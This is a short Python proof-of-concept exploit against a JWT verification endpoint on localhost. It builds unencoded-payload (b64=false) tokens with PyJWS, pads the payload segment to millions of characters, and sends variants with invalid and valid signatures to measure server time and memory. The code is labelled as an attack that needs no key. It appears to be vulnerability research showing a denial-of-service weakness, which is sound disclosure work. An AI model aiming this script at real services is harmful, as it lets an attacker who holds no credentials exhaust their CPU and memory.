#!/usr/bin/env python3
import argparse
import json
import time
import urllib.request

from jwt.api_jws import PyJWS

HOST = "127.0.0.1"
PORT = 8000
URL = f"http://{HOST}:{PORT}/verify"

KEY = b"K" * 64
DETACHED_PAYLOAD = b'{"op":"ping","ts":123}'

def post_token(token: str):
    data = json.dumps({"token": token}).encode("utf-8")
    req = urllib.request.Request(URL, data=data, headers={"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            return r.status, json.loads(r.read().decode("utf-8"))
    except urllib.error.HTTPError as e:
        return e.code, json.loads(e.read().decode("utf-8"))

def make_tokens(payload_chars: int):
    jws = PyJWS()


    base_token = jws.encode(
        DETACHED_PAYLOAD,
        KEY,
        algorithm="HS256",
        headers={"b64": False, "crit": ["b64"]},
    )
    h, _, sig = base_token.split(".")

    huge_seg = "A" * payload_chars


    attack_bad_sig = f"{h}.{huge_seg}.AAAA"


    attack_valid_sig = f"{h}.{huge_seg}.{sig}"

    return base_token, attack_bad_sig, attack_valid_sig

def timed(label, token):
    t0 = time.perf_counter()
    code, resp = post_token(token)
    dt = time.perf_counter() - t0
    print(f"\n=== {label} ===")
    print("HTTP:", code)
    print("client_wall_ms:", dt * 1000)
    print("server_time_ms:", resp.get("time_ms"))
    print("server_peak_bytes:", resp.get("peak_bytes"))
    print("error:", resp.get("error"))

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--payload-chars", type=int, default=2_000_000)
    args = ap.parse_args()

    base, bad, good = make_tokens(args.payload_chars)

    print("[+] payload_chars:", args.payload_chars)
    print("[+] base_len:", len(base))
    print("[+] attack_len:", len(bad))

    timed("BASELINE (valid b64=false token)", base)
    timed("ATTACK (INVALID signature — attacker needs no key)", bad)
    timed("ATTACK (VALID signature — accepted path still wastes)", good)

if __name__ == "__main__":
    main()